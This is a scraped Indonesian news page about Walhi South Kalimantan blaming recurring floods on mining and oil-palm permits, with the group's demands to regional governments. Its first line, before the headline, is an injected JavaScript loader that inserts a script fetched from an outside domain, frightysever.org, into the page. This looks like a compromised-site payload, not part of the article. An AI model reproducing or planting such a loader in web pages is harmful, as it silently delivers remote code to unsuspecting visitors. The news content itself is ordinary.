(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bencana Ekologis Selalu Berulang, Walhi Kalsel: Ada yang Salah pada Pengelolaan Lingkungan


BANJARBARU, Bencana banjir di Kalsel bisa dipastikan akibat kawasan lingkungan yang salah dalam pengelolaannya. Walhi Kalsel menyebut saat ini di wilayah Kalsel dari luas 3,7 Juta hektare, 50 % sudah dibebani izin tambang dan perkebunan sawit, belum HTI dan HPH.

“Sudah sering saya sampaikan bahwa Kalsel dalam kondisi darurat ruang dan darurat bencana ekologis,” tegas Direktur Walhi Kalsel Kisworo kepada Kanalkalimantan.com, Minggu (5/1).

Seperti kita ketahui konflik lahan dan bencana ekologis selalu terjadi secara berulang-ulang di Kalsel. Terkait bencana ekologis (banjir), selain karena tutupan lahan dan DAS yang sudah rusak dan kritis, tentu ini harus segera di tindak lanjuti oleh pemerintah.

Gubernur, Bupati dan Walikota se Kalsel, sebut Kisworo, harus segera turun tangan. Pertama harus tanggap bencana, sebelum, pada saat dan pasca bencana. “Kedua review perizinan dan jangan menambah izin baru untuk tambang dan perkebunan monokultur skala besar (Sawit, HTI, HPH),” sebut Kisworo.

Desakan ketiga dari Walhi Kalsel berupa penegakan hukum, bagi pelaku kejahatan lingkungan terutama terhadap korporasi nakal. “Keempat, ada inventarisasi lahan dan DAS yang kritis dan segera dilakukan pemulihan yang terarah dan terukur dari hulu sampai hilir,” sambung Kisworo.

Juga harus dipastikan tidak ada perusahan nakal yang memanfaatkan banjir ini untuk membuang limbah. Termasuk review RTRW sehingga dalam RPJM dan RPJP juga memastikan keselamatan rakyat dan lingkungan.

“Paling penting, jangan jadikan bencana sebagai proyek, tapi sebagai cambuk untuk peduli terhadap lingkungan dan keselamatan rakyat,” ingatnya.

Terakhir menurut Kisworo, selain masalah penanganan saat terjadi bencana, untuk menghindari jatuh korban perlu juga pemerintah memberi kapasitas dan keterampilan rakyat agar tanggap dan tahan menghadapi bencana. (bie)

 

Editor : Bie

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

15 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

17 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

18 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

20 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

22 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

23 jam ago

This website uses cookies.